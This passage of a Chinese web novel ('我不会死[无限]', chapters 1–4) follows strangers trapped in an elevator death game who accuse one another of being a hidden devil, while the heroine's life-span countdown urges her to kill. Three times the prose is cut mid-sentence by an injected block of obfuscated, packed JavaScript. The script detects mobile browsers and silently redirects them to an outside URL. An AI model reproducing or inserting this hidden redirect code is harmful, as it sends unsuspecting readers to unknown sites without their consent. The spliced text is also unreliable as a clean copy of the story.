《我不会死[无限]》 1. 电梯有鬼1 迈进电梯的那一刹那,骆寻眼前忽然泛起大片的赤红色。 「警告!系统错误%&7*……警告!危险警告!」 「异常情况0*^#8……严重危机警告!」 眼球针扎般刺痛着,无论她闭眼睁眼,望向何方,红色的乱码都像被镌刻在视网膜上般,毫不退让! “姑娘……你……” “她……这是……” 好像有人搀扶住她,在她耳边呼唤,可骆寻一点也听不清。她的整个世界都仿佛被一层塑料薄膜裹紧,模糊又窒息,唯独身上一种剧烈的灼烧感清晰可闻。 不知究竟过去多久,眼前终于被按下清屏键,拥挤的赤色一扫而空。 有两行崭新的红字整齐浮现: 「正在为您重新计算余额,您当前寿命余额为:00:29:51」 「寿命余额系统提醒您,您当前寿命已不足半小时,请立即击杀鬼怪获取余额!」 耳鸣还在持续,头痛的就要裂开,可根本来不及喘息片刻,骆寻的瞳孔便急剧收缩。 进电梯前,她不是还有五个多小时余额呢吗?怎么一眨眼连半个小时都没有了?? 天杀的系统,它怎么不干脆直接让她死了算了!? 下一秒,只听“咣!”地一声闷响,好像被人自虚空死死抓住了双腿往下拖,四处无凭的失重感迅速席卷全身! 心跳当即漏了一拍,骆寻下意识地挥舞双臂,想抓住点什么,却反倒身子一歪,重重吻上了地板。 “啊!” “你干什么!?” “**!” 有人在尖叫,有人在争吵,有人在怒骂——她居然还在电梯里。 轿厢不知怎的猛然一沉,顶部的灯光剧烈闪烁了几下,不堪重负地全部熄灭,只余下楼层显示屏上一抹幽幽红光。 骆寻脸色难看地爬起来,只见一个身着貂皮大衣的中年男人正跌坐在电梯门边。 逼仄的空间让他像座小山一样堆在地面,这座小山对各种声音充耳不闻,反倒还朝她们愤怒大吼:“开门啊!你们难道就不知道搭把手吗!?” 骆寻本以为那红光是仍镌刻在她视网膜上的生命倒计时,此刻看见中年男同样红到鬼魅的脸,这才意识到不对。 也顾不得生气了,她连忙抬头看向楼层显示屏,努力分辨着。 只见那上面同样写着几行红字: 【魔鬼游荡在人间,折磨注定死亡之人。 祂以恐惧和恶念为食,喜好混乱与猜忌,祂带着满身罪孽,就潜藏在你们之中! 请在时间尽头前,找到祂,审判祂,杀死祂! 否则,你们都将坠入无尽的深渊……】 【第一轮审判:00:14:02】 这是高悬在电梯顶上的另一个倒计时。 “还不够明显吗?我们进入游戏了!”轿厢另一方的角落里,一个穿风衣、留泡面头的年轻男人强忍下怒骂的冲动,斩钉截铁道。 游戏……是了,游戏!骆寻就是为游戏而来的! 她在鬼城里听说了一个传闻——有一种只能通过特殊途径参加的游戏,虽然危机四伏、十死无生,但只要从中幸存,胜利者就能够实现一切心愿! 原本她已经进入游戏了吗? 骆寻又阅读了一遍显示屏上的文字,感觉这和自己想象的并不太一样。 但是……视野里剩余不足半小时的寿命余额存在感极强地闪烁着,怀里还有一份沉甸甸的重量压着手臂——那是一件明显裹了东西的外套,一路上都被骆寻紧紧抱在怀中,可却依然一点也没有被她的温度浸染,还是那样冰冷,冷得人心底也在发寒。 里面是骆寻在鬼城中唯一的同伴。 它受了重伤,鬼城却完全没有可以医治它的地方……骆寻已经想不起来她抱着它走了多久,她甚至不敢再轻易掀开外套。 游戏的胜利者可以实现一切心愿——一切心愿啊! 无论是想摆脱这个诅咒般的系统,还是想要救下她的同伴,游戏都是骆寻眼下所能抓住的、仅有的可能性! 意识到这一点,骆寻立刻压下了心底的惶恐,一把抓住身边人的臂膀,问着:“这真的是游戏吗?我晕了多久?刚才还发生什么了?” 身边人是个裹得严严实实,全副武装的老太太,不久前正是她搀扶住了骆寻。 “神明保佑,神明保佑……”老人本来在低声诵念什么,闻言撩起眼帘,“姑娘,你终于醒了?唉……没什么,一切都是神明的恩赐!” 怎么也没想到会是这种反应,骆寻:“……” “电梯刚才故障了。”还是泡面头插嘴解释道,“从一楼冲到了四十几层,突然停了下来,灯也灭了……” “你别把事情说得那么轻松,谁家电梯故障会在短短几秒内爆冲几十层楼?”一道尖锐的女声打断他,那是个情绪尤为激动的白领女人,“这是电梯冲顶!一旦遇上不死也残,根本就没人能平安从这种事故里活下来!电梯是绝不可能这样安稳地停下来的……就像规则上说得一样,我们全都是注定死亡之人!” 可是,人本来就注定会死啊。 突兀对上女人一双因惊惧而睁圆的眼,骆寻顿了顿,还是把这句话咽回了肚子里。 情况不明,虽然她很急,但最好还是先别说话了。 “你**才注定要死呢!我不可能进入游戏!”总有人更激进,中年男怒骂,说着就又要起身,去再开电梯门。 “没用的,都没用的,我们只能进行游戏……我怎么就又进游戏了?”女白领捂住脸,失声喃喃。 【第一轮审判:00:13:38】 红光还在闪烁,倒映在铁壁上一明一灭地翕张。空气不知从何时起变得粘稠且难以吞咽,整个钢铁房间就像是高空上的牢笼,狭小封闭,摇摇欲坠,任何声响都在带来刺耳的鼓噪,任何变化都在挑拨紧张的神经。 谁也不知道坠落和审判哪个更先到来,泡面头紧靠着墙壁,手背上青筋暴起。 ……不能再这样下去了,必须得尽快稳住局面,找出魔鬼! “我们就是进入游戏了,不想接受也只能接受,都别再做无用功了!”他猛然拔高了声音,“都有谁之前就参加过游戏?举起手来!” 他自己率先举手,只有女白领在随后颤颤跟上。 泡面头深吸了口气:“时间不多,我们……” “谁允许你这么说得?”岂料中年男忽然暴起,冲过来就一把薅住了他的衣领,“你个小白脸,这**就是你搞的鬼,是不是!?” 一张大脸突然冲刺到眼前,泡面头真真是被他气笑了。 人怎么会蠢成这样呢? 仅余十三分钟的倒计时高悬在顶,他不想再多废话,眼神与声音一同冷冽下去:“我认为事实已经很明确了,你自己心里应该也清楚的很。你几次三番质疑,究竟是不相信游戏的存在,还是你不想我们完成游戏?” “你是不是就是藏在我们之中的魔鬼?” 话音落地,轿厢静寂了一刹,几道直勾勾的目光扫来,中年男顿感如芒在背。 他被这忽如其来的大帽子扣懵了:“什、什么?怎么可能!!” “我也不是随便怀疑你。”泡面头一点一点掰开中年男的手,半分不畏惧他的武力威胁,“据我所知,市政在几天前就已经发布通知,要求这栋大楼从今天下午至明早全员疏散,以便安全检修——这栋楼前年因此出过事故,你们应该都听说过吧?” “我就是来检修的市政,我叫李明尘,我刚刚正准备和我的同事一起上楼。我们在下午六点时就已经确认了全员疏散,那么你又是谁呢?为什么偏偏选在这种时候进入大楼?” 李明尘边说,边从领口里拽出张工作证,上面照片、姓名、隶属单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342971|199446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位,全都能和他说得对应的上。 此外其上还有编号,甚至盖了公章……可信度极高。 “你是政府的人?”中年男不知想到了什么,脸色忽而白了起来。他似乎很想再硬气地顶回去,可最终却只是嗫嚅了几下嘴唇,一身腱子肉形同虚设,“我、我就是想上楼拿个东西……我是这楼里的员工。” “员工?”骆寻看着他那一身油光水滑的貂皮大衣,脖子里快有手指粗细的大金链子,第一个感到了不相信。 “咋的?我不像?”中年男恶狠狠地瞪了她一眼,可转过身面向李明尘,他却又赔笑道,“不好意思啊刚才,我说得可都是真的,等出去后你随时都可以确认!不过那个……”他甚至有点小心翼翼,“这真是游戏啊?听说你们体制内都进行了特殊培训,你又是老玩家,你应该能带我们活着出去的吧?” 变脸速度之快,令人咋舌。 被一个中年男人这样期期艾艾地盯着,李明尘心底不禁泛起一阵恶寒。他其实也不相信他的话,但比起中年男,这电梯里还有更值得怀疑的人。 他摆摆手,没再理会中年男,而是看向其余人。 “你们没人反驳我吗?那也就是说,你们都知道市政通知?都知道今天下午疏散?都是在君兰市临河街,国际大厦A座进入的游戏?” 骆寻听得一脸懵。 ……什么特殊培训?什么市政通知?什么什么疏散?这都是哪儿跟哪儿啊? 还有这个自称的老玩家,他这什么做派?他是要审问她们吗?? 当骆寻意识到这一点时,已经晚了。 一道锐利的目光早便锁定了她,她抬起头,正对上李明尘那双仿佛能洞穿一切的眼睛。 “很好,那就从你开始吧。”他说,“讲清楚,你是谁?市政明令封闭,你为何要进入这里?” 赤色之下,男人喉结滚动着,嘴唇一张一合,话音就像连珠炮一样,越来越快—— “你为什么一进电梯就晕过去了?只有你的穿着打扮最古怪,恐怕也最不好解释清吧?” 电梯里的所有人都穿着秋冬季节的大衣,只有骆寻,身着春夏的短袖短裤,外套抱在怀里,留着颇为怪异、难以描述的发型。 “外面在下雪,你怎么只穿短袖?你到底是从何而来?” 打量,审视,质疑,一连串的问题犹如一座大山,二话不说就狠狠压在了骆寻身上。 “既然不是有经验的玩家,那么,你是魔鬼吗?” 骆寻被砸得脑子里“嗡”地一声。 我是魔鬼吗? 我是怎么进入这里来的? ……外面怎么在下雪? 当怀疑像枪口一样,陡然掉转对准自己,骆寻这才对中年男的懵然与愤怒感同身受。 好多问题,怎么会有这么多问题?她根本就没有办法回答。 “回答我!”男人陡然拔高了音调,与此同时,骆寻好像幻听到“咔哒”一声脆响,那是名为“猜忌”的子弹在上膛。 「00:26:09」 血红的寿命倒计时像鬼一样,还死死烙印在她的视野里,分毫不让。 不回答会怎么样?会被作为魔鬼审判然后杀死吗?真的会死吗?这就是十死无生? 寿命系统是已经预料到这一点了吗? 喉头艰塞,快要喘不过气。心如擂鼓,越来越紧,越来越密。 可是她根本就不是魔鬼啊! 他到底为什么忽然抓紧了她不放!?她有这么可疑吗? 不,不行,她不能死! 指甲深深嵌入掌心,骆寻的目光下移……与犀利的话语正相反,李明尘真的有一张很文弱的脸,纤细的脖子。 工作证的吊绳挂在上面,泛着细微的、柔韧的红色光泽。 这是现成的、再好不过的凶器了,假如她现在冲上去,能在几秒钟内勒死他吗? 2. 电梯有鬼2 大腿和小臂的肌肉已然绷紧,一只干枯犹如树皮的手却在这时轻轻握住了骆寻。 是那个老太太。 “小伙子,你是不是太咄咄逼人了?”她不悦地看向李明尘。 她的手是有温度的,温热且干燥,像一捧热砂,烫得骆寻猛一个激灵,理智霎时回笼。 是了,这是在不知是否还会坠落的电梯里,这么狭窄的空间——就算杀死李明尘,也还有老太太、白领女,从块头上来说就最不好对付的中年男。 手无寸铁,她不可能在短时间内把她们都杀了。 这个废物的寿命余额系统,它只会不断催促骆寻杀戮、杀戮、还是杀戮,不杀那就去死。 杀戮也许能让骆寻苟活,却救不了她唯一的同伴。 希望近在眼前,她已经离开鬼城了,她进入游戏了,已经迈出了第一步……她不能再这么盲目地受到系统的操控了! 【第一轮审判:00:10:56】 骆寻环抱外套的手紧了又紧,最终,她抬起头,直直看向李明尘,也看向那把质疑她的枪口。 “我不是这栋大楼里的人,更没听说过什么市政通知。”她决定实话实说,“我是因为捡到一张传单才来到这里的。” 打扮古怪的女孩有着一张颜色极为浅淡的脸,哪怕是在如此浓稠鬼魅的光线下,她的浅淡也了然可见。 望着这张脸,李明尘有一瞬间的毛骨悚然,他迟疑地看着眼前的女孩。 而女孩继续说着:“城市的角落正在举行特殊的游戏,胜出者的一切心愿都会被实现。只有受到邀请,或者说受到诅咒的人才有资格参加游戏……你们没听说过这个传言吗?” “传单就是游戏的邀请函,我是跟着上面的地址与时间找过来的。我一推开门,传单就自燃了,我也出不去了。”说着,她伸出脏兮兮的手,给大家看掌心上灰色的余烬。 骆寻整个人都破破烂烂的,一时半会没人能分清她手上的是泥,还是所谓灰烬。 “谁不知道游戏是随机登陆的?”中年男当即便忍不住嗤笑一声,“还传言,还诅咒,还邀请?编你也不知道编像点,净胡扯!” 游戏是随机登陆的?骆寻怔了下,正想说自己不知道,却又见白领女古怪地转了转眼珠,“传单自燃?妹妹,你有身份证什么的吗?不会也自燃了吧?你这样光靠一张嘴,可一点说服力也没有啊。” 话音落地,她仿佛察觉到了什么,鼻尖冷不丁地翕动嗅闻。 “等一下,你外套里是不是藏了什么东西?” “……就只是外套。”骆寻强忍住捂紧外套的冲动,警惕地看着白领女。 她拼了命的回忆还有什么可以自证身份的东西,手机、证件……这些早都不知道丢去哪里了。 除了一身皮囊,奄奄一息的同伴,还有那张已经化作灰烬的传单,骆寻一无所有。 得想想办法,她必须得再说点什么……可是,她还能说什么呢? 众人的目光有如实质,滚烫烫地落在她身上,像要剜掉她的一层皮。 要把系统说出来吗?要把自己的经历全盘托出吗?说了,只会招来更多怀疑吧。 骆寻的喉咙像堵了团棉花,什么声音也发不出来。 她不得不承认,她不是魔鬼,但她又确实是电梯里最可疑的那个人。 「00:25:11」 寿命余额在眼前忽而闪烁了一下,像是提醒,又像是嘲讽。 你到最后还是只能靠我吧?去吧,去杀了她们,只要把她们杀光,你就又能活下去了。 你活着才是最重要的,你的时间不多了,按照我说的做,不会再有人怀疑你。 你根本就没必要参与这场莫名其妙的游戏,不是吗? 狭小的轿厢之中,猩红色灯光倒映在铁壁上幽幽浮动,像是怪物蠕动生长的内脏。 骆寻的沉默让气氛在转瞬间变得微妙。 中年男笃定地看着她:“她肯定就是魔鬼没错了吧?我们找到了,审判,该怎么审判?” 白领女:“要等时间结束吧。” 倒计时高悬在顶,还剩下十分钟——在此刻显得分外漫长的十分钟。 意识到这一点,白领女与中年男都忍不住向李明尘靠拢,似乎在等这个参与过多场游戏、又是政府工作人员的“话事人”一声令下,她们就不必再提心吊胆。 可反观李明尘,这个率先将所有矛头对准骆寻的人,却从方才起便缄口不言。 他正满头大汗地在身上翻找什么东西。 终于——“找到了!” 他的口袋里掉出很多乱七八糟的东西,他拿着其中一团,捋平,摊开,两眼锃亮地看向骆寻:“你说得传单,是这个吗?” 骆寻倏然抬头,目光在他手里的东西上一顿。 李明尘拿出的那团东西哪怕捋平也皱得像刚腌好的酸菜,本就廉价的质感看起来更不值钱了。其上的文字仿佛晕开的颜料,已经模糊不清,图案倒还能暂且分辨——是一个压抑的电梯门,门缝里透出危险的红光,结合倒影刚好是象征撒旦的逆十字架形状。 “你是否已经走到绝路……你想逃离现在的人生吗?你想要重新开始吗?”李明尘努力回忆上面的文字,“来吧,来赢得这场游戏,你会实现你的一切心愿——上面是这么说得吗?” 骆寻:“你也有传单?” 李明尘点点头:“对,就像你说的,传单是邀请函,是进入这种特殊副本最直接的办法……真没想到会是这个,我之前还以为这是什么诈骗小广告呢。” 他看起来有点高兴,有点兴奋地自说自话,这在骆寻的视角里特别刺眼。 搞什么啊,这是在搞什么? 莫大的荒诞感充斥在心间,骆寻沉默了一会儿,终于忍不住,冷笑出声:“你的意思是,你也早就知道我们会进入游戏吗?” “那么等电梯的时候,你身为市政,既不提醒也不质问,不指责我们擅自进入大楼,而是等到现在才说……你是何居心?” 李明尘脸上的笑意僵住了。 寂静足足持续了几秒钟,直到白领女和中年男脸上也露出古怪的表情——李明尘这才擦了把汗,开口解释道:“我之前说过了,我正准备和我的同事一起上楼。” “在我进来后,我的同事直接就在我面前消失了。随后我和你一样,发现自己出不去了……我当时就明白我恐怕已经进入游戏。游戏无法退出,规则又尚未出现,四处声张并不能解决任何问题,只能带来混乱。” “抱歉,身为一个老玩家,我要考虑的事情实在很多……”他脸上露出几分歉意,可话锋一转,“但我的身份最为明确,你们怀疑我没有任何意义,不要再在我身上浪费时间了。” 那张市政的工作牌还挂在他衣领外面,明晃晃的,简直就像在发光。 骆寻打量着他的微表情,他看起来很真诚,方才那点兴奋仿佛她的错觉一般已荡然无存。 这张小白脸真的越看越让人觉得讨厌。 但骆寻也从他身上学到了一点东西。 “好嘛。”她让自己尽量平和下来,看起来友善一点,然后说,“不好意思啊,我是第一次进游戏,你们都怀疑我,我是真的不知道该怎么解释……现在既然你也有传单,那么就可以证明我说得都是真话了吧?” 李明尘点头,还想再问点什么,却被骆寻打断。 “那就也不要再在我身上浪费时间了,我们时间不多,可是电梯里还有这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342972|199446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多人呢。”骆寻转过头,目光落在白领女的身上,“之前怀疑我的人,可以先解释一下自己身上的疑点吗?比如说,你是谁?等电梯的时候,我好像没看见你吧?” 怀疑是一颗廉价的种子,只需要很微小的一点养分,就会迅速生根发芽,长成苍天大树,挤占着这个狭小轿厢里所有人的生存空间。 白领女愣了下,好像没想到矛头会被突然对准自己。 但见李明尘同样望过来的怀疑目光,她还是故作镇定地配合道:“我也是这栋大楼里的员工啊。” “我就是正常上班下班,我接到市政的通知了,不过我午休的时候睡着了……根本没人叫我,我醒过来天就已经黑了。我也想知道我为什么还在电梯里,为什么会又进入游戏……”说着说着,白领女陡然意识到什么,皱眉看向李明尘,“这应该是你们工作的失误吧?” “……嗯?”李明尘的眉心也立刻蹙了起来,“不可能。” 正式疏散后,政府花费了整整一下午的时间,使用热成像仪检查过每一层楼,他确定绝无人员上的遗漏——不然李明尘也就不会如此笃定的从市政通知入手,去怀疑每一个人的身份了。 但管路检修为何要用上热成像仪,还是如此事无巨细的搜查,这并不好解释,这些人也没有必要知道这一点。李明尘干脆略过,直接反问:“你是说你在办公室,一觉睡了七八个小时?睡醒后准备下班,一进电梯又睡着了?” 李明尘脸上就差直接写明“你看我信吗”这几个大字。 骆寻捕捉到重点:“……她一开始就在电梯里?在睡觉?” 李明尘:“对。” 中年男:“还打呼噜呢,我当时就想,这女的真够神的。” “神吗?哈哈。”白领女干笑了一声,“是啊,连着加班一周,每天只睡两三个小时,我可不是够神的嘛……你这种人应该没法理解的吧?” “哈?”中年男还真就完全没有理解。 “……”白领女不说话了,只是眼神格外意味深长地扫过他的貂皮大衣、他的大金链子、他再臃肿的衣物也挡不住的大肚腩。 明明在同一栋大楼工作,但与这位油光满面的“同事”相比,女人脸色蜡黄憔悴、衣衫单薄,可谓是穷酸不堪。 中年男终于反应过来了,脸色分外难看。 但他又没有办法反驳什么。 没一个是省油的灯。骆寻饶有兴味地看着她们两个眼神交锋,她有些想笑,但最终还是忍住了。 看中年男不反驳,也不准备解释的样子,李明尘有点头疼。 “你的事等下再说。”他看了眼头顶的时间,又看向另一位仿佛沉默是金,一直与骆寻待在角落里的人,“老人家,就差您还什么都没说了。” 【第一轮审判:00:08:39】 这是人们第一次正式把目光投向角落里的老人。 老太太把自己裹得很严实,帽子、围巾、口罩齐上阵,只有一双堆满皱纹的眼睛露在外面。此前她在低声诵念什么,身上有细微的摩擦声传来,骆寻当时没有注意,这会儿才发现那是老人在捻着一串念珠。 与骆寻印象中的刻满各种花纹的宗教用品不同,那念珠颜色暗沉,古朴无华,尾端却系了个金色的、圆形的现代化金属饰品,颇有些不伦不类。 偏偏老太捻得虔诚:“我受到了神明的指引,才会来到这里。” 李明尘:“……您能用我们能听懂的话再说一遍吗?” 老太支棱开眼皮,淡淡地扫了他一眼。这双老朽的眼睛无悲也无喜,像是枯井里的死水,人影与红光倒影其中,都只是再微小不过的一个点,惊不起太大的涟漪。 片刻,她看向中年男,“我是跟着他进来的。” 3. 电梯有鬼3 “我是跟着他进来的。” 中年男闻言指了指自己:“啥?我可不是啥神……” “神明说,我会在今晚,在这栋大厦,见到我一直想见的人。”老太太打断了他的话,“所以我受到神明的指引,跟着他进来了。” “你跟着我干啥……?”中年男的面色逐渐凝重起来。 李明尘愈发头疼,“老人家,可以不要再打哑谜了吗?我们时间不多,您有什么话直说可以吗?” 老太太静默片刻,终于,她那双枯树似的手颤颤抬起,伸向了口罩的系带。 她摘下了口罩。 “你还记得我吗?施伟。” “啊!”白领女被口罩下的那张脸吓了一跳,情不自禁地撞在电梯墙壁上。 中年男却像是被钉死在了原地,死死盯着眼前这张脸,盯着那双死水般的眼睛。 “施伟,一○七九年生人,籍贯辽省东林市,城里来的公子哥。” 有一颗石子伴随话音落入水中,激起剧烈的涟漪,中年男在其中看见了自己的身影。 “三十年前,也是这样一个冬天,在王家村……我们曾经见过一面,我找了你好久啊。” 他的身影呈在里面,晃动着,扭曲着,渐渐被拉扯得不似人形。 “神明保佑,我终于找到你了,可是你真的不记得我了吗?” 他看见自己的表情变得惊恐。 口罩下,是一张爬满了肉虫似的伤疤的脸。她的鼻子好像融化过,矮矮的,塌陷着,和同样歪曲的嘴唇几乎连在了一起。 半边牙齿、牙龈都露在外面,紫红色的肉,随话音微微颤动着。 她脸上的崎岖实在太多,你甚至没有办法分清那究竟是伤疤,还是皱纹。 谁也没想到这个神神叨叨、但姑且还算是热心肠的老太太,口罩下居然藏着这样一张似鬼非人的脸。就连李明尘这个老玩家都呼吸一滞,冷汗瞬间就下来了。 “咚!”一声巨大的闷响,中年男猛然后退了好几步。 但最终,他也只是像白领女一样,重重撞上冰冷的墙壁,无处可去,无路可逃。 “我……你、你到底是人是鬼!?” 【第一轮审判:00:07:53】 “我根本就听不懂你在说什么!”没有人应和他说话,中年男只能兀自拔高了音调,好像音量越大,胆量也就越大,“我叫作李柏,我是松柏贸易的老板……这、这是我的名片!我公司就在这栋楼里!你说的施伟我不认识,你找错人了,你认错人了!” 他慌张地在身上翻找,一沓子名片还没等塞给李明尘,倒先因为止不住的哆嗦,散了一地! 骆寻捡起其中一张。 姓名、公司都对得上号,但名片这种给钱就能制作的东西,可信度不说身份证,就连李明尘那张工作证都远远比不上。 她大抵是电梯里唯一没受到老太那张面容影响的人,这时还能回忆起中年男此前的讥诮,并为此嗤笑了一声:“随便拿张名片就能说自己是这个人吗?谁知道你是不是净胡扯?” 中年男怒目圆睁:“你!你不也——” “我没有认错。”他高昂的嗓音被老太截断,老人定定地望着他,“神明不会出错……你比以前胖了许多,老了许多,但就算再过二十年,五十年,就算你化成了灰——我也能认出你来。” “三十年前,王家村,你们白天吃了我家的席,夜里却又回来。你们抢走了两千四百二十九块五毛钱,这还不够,又放了一把火……是你把我烧成这样的,你怎么能忘记呢?” 老人边说边摘下了帽子,嗓音是砂纸般的嘶哑,那颗头颅却如同未经打磨的半成品。密密麻麻的烧疤顺着脸颊爬上,爬到了寸草不生的颅顶,你看着她,就像在看一颗变质生了虫的苹果,还能看出苹果的形状,鼻间却盈满了烧灼的、腐朽的恶臭。 中年男从不知何时起,眼睛已经完全不敢看向电梯的另一侧。但此刻,他却也仿佛闻见了那股恶臭,听见火苗烧得噼里啪啦,夹杂着惨叫声响彻耳畔。 他跑出去好远,远到火焰掀起的热浪都已经被冬日的白霜吞噬,他的眼前只剩下自己呼出的热气,那股味道还是像鬼一样死死纠缠着他,他还是能听见火焰里传来的一阵阵惊惶。 他明明已经很多年没有做过这场噩梦了。 仿佛再度的身临其境,使他呓语般喃喃着:“不,不可能的,他们都死了……” 电梯里面很安静,静到连呼吸声都微乎其微。 老人摇摇晃晃地站起身,朝中年男走去。 直到她们离得很近,近到不用有太多动作,他就又能看见那张狰狞的脸,看见自己又呈在其中的人影。 “对啊,我一家五口都在那场火里被烧死了,只剩下我。”紫红色的肉又在颤动,她说,“你的同伴一口咬定是他们犯得案,也都死了,死在监狱里,只剩下你。” 视线转到哪里,那张脸就跟到哪里。 “可是我还记得你,你以为改名换姓就能躲过去吗?” 她笑了起来,烧疤狰狞,牙齿森森,可是眼瞳却是沉静的、甚至温和的,紧紧地锁定着他。 “……”豆大的汗珠从额上滑落,中年男嘴唇颤抖了好些下,却始终找不到自己的声音。 【第一轮审判:00:06:04】 见李明尘与女白领皆神色不明,大有远离之意,骆寻瞥了倒计时屏幕一眼,幽幽出声:“找到祂,审判祂,杀死祂……李市政,你认为这个审判是什么意思?” 结合上文的“祂带着满身罪孽,就潜藏在你们之中”,显然,游戏规则是在说“有罪之人”就是魔鬼。 也只有有罪之人,才需要接受审判。 李明尘早便明晰这点,此刻他只感觉棘手。 在他的视角里,与其他人相比,中年男本应是最不像魔鬼的那个人……他怎么也没想到,玩家之间会有横跨三十年、如此之巨的私仇。 骆寻点了他的名字,身为此前掌控局面的那个人,他不得不开口说话:“应该就是字面上的意思,但是具体的实施方法……副本不同,方法也不同。你们注意到倒计时的前缀了吗?也许要等到‘第一轮’时间结束,我们才能知晓究竟什么才是审判。” 好好好,这时候开始和稀泥了是吧。 骆寻:“你能确定这轮倒计时结束后还会有下一轮?而不是这轮就是时间尽头吗?” 李明尘张了张嘴,如鲠在喉,好半天,他才又说:“这栋楼里确实有个公司叫作松柏贸易。” “……?”骆寻顿时又有一种“你这是在搞什么”的感觉。 她皱起眉,问:“不要说这些,请问你能否定他有罪吗?” 李明尘:“那你能证明他有罪吗!?” 所谓“抢劫放火杀满门”,目前确实只是老太太的一面之词。 身处电梯游戏,无法联络外界,她们根本没有办法取得任何证据。 这种情况下,怎么能轻易地断定一个人有罪呢? “我什么都没做过!”许是李明尘的话释放出某种安定的信号,中年男猛地冲了过来,像看见救星一般,紧紧抓着李明尘,“李同志,我说得都是真的!你一定要相信我啊!” “我什么都没做过……那把火本来就不是我放的……”他语无伦次,“我真的什么都没做过……我当年甚至还帮他们家报了警……” 中年男的状态明显不对劲,李明尘便也没挣脱,安抚道:“你冷静一点,把话说清楚。” 中年男却好像已经听不见他的话,眼神失焦,只一昧喃喃:“……我什么都没做过。” 听了半天也没从他嘴里听见什么有效信息,头顶与眼前的时间却都已经所剩无几。骆寻受不了了,谁知道这轮倒计时结束究竟会发生什么? 她好不容易进入游戏,她还姑且已经摆脱了嫌疑,她离她的心愿只差最后一步! 她绝不会让一切断送在这里。 “啪!”格外清脆的一声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342973|199446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响彻在整座轿厢之中。 中年男捂着脸,呆呆看着矮了自己一头、年龄上也明显小过他一轮的女孩。 “清醒了吗?”那女孩收回手,眸光冷然。 “我……你干啥打我?” 骆寻懒得跟他多废话,“你承认你就是施伟?三十年前到底发生了什么?” 结结实实地挨了一巴掌,中年男的眼睛终于又有了些神采:“我、我也不知道到底发生了什么!我当年也是被人带过去的!我只能说……我真的跟这件事情没有任何关系!” 李明尘:“……” 这解释了还不如不解释呢。 “之前又说自己不是员工,又说自己不叫施伟……谁知道现在是不是也在撒谎啊。”又一道女声传来,是女白领,“看那一个劲否认的心虚样子,我觉得他就是魔鬼。” 她声音很小,很低,但足够轿厢内所有人听清。 “你们现在又觉得我是魔鬼?”中年男难以置信地指着自己,又指向老太,“她才是魔鬼啊!她根本就是游戏制造出来的鬼怪!” 说这话时,他依然不敢正眼看向老太太,连指认都显得底气不足。 直到发觉竟没有人附和他的话,电梯里又陷入短暂的、令人后背发毛的寂静,中年男这才后知后觉自己在这几分钟里陷入了怎样一种境地。 “不是,被这张脸一直盯着,我难道还不能害怕了吗?”他开始慌了,“而且、而且当年那场大火根本就没有人活下来!!她不是鬼还能是什么!?” 【第一轮审判:00:03:39】 僵持里,老太再度出声:“诬告也是一种罪孽……我愿意先接受审判,以此来证明我并非魔鬼。” 她的眼睛还是那样沉静,甚至温和地注视着中年男:“你呢?” 中年男目眦欲裂:“谁知道审判之后会不会死!?” 没有人知道,所以所有人都在静静等候着倒计时结束。 她们心中或多或少都有了选择。 李明尘倒是有心想为中年男说话,但经过了他本人这一番堪称灾难级的主动辩驳,他也不知道还能为他说什么好。 看着电梯中另外三位女性那几乎不加掩饰的排斥,他嘴唇几度张合,最终还是选择了沉默。 自此,电梯里除了老太太,没有任何一个人的目光愿意与中年男对上。 【第一轮审判:00:02:33】 红光重重地压下来,让人连流汗都像是在滴血。 “她一个早该死了的人!不,本来就已经死了的人!她就是鬼啊!怎么会有人烧成这样还能活着?” “她一个身份不明,这时候还在穿短袖的!你们之前不是也认为她最可疑吗?” “还有她!一开始就在电梯里,不也没解释清吗?这不比我更可疑!?” 【第一轮审判:00:01:29】 “李同志,你不是说过会带我们活着出去的吗?” “你再多看看,咱们两个同姓同宗,救救我,我不想死啊!” “我真的……什么都没有做过。” 【第一轮审判:00:00:47】 “你们都是魔鬼!!” “我如果死了,你们也全都会死!” “我做鬼也不会放过你们!!” 最后的三十秒钟,红光的闪烁频率仿佛加快。 中年男双目猩红,早就已经分不清是光,还是血丝。 “凭什么只有我要接受审判!?”他猛地朝电梯里的人冲了过去,而这首当其冲地,自然就是始终萎靡、看起来最没有战斗力的白领女。 “啊——!”一声几乎要震破耳膜的尖叫响起,“审判!投票!快——!!!” 骆寻正欲帮忙,却仿佛感知到了什么,被红光所笼罩的肌肤全部汗毛倒竖,脚步也倏然一顿。 与此同时—— 【第一轮审判:00:00:01】 【00:00:00】 4. 电梯有鬼4 审判倒计时归零的瞬间,就如同被拉下了电闸。 不止是视觉,还有听觉、触觉、嗅觉,所有的感知都在一瞬间被切断。 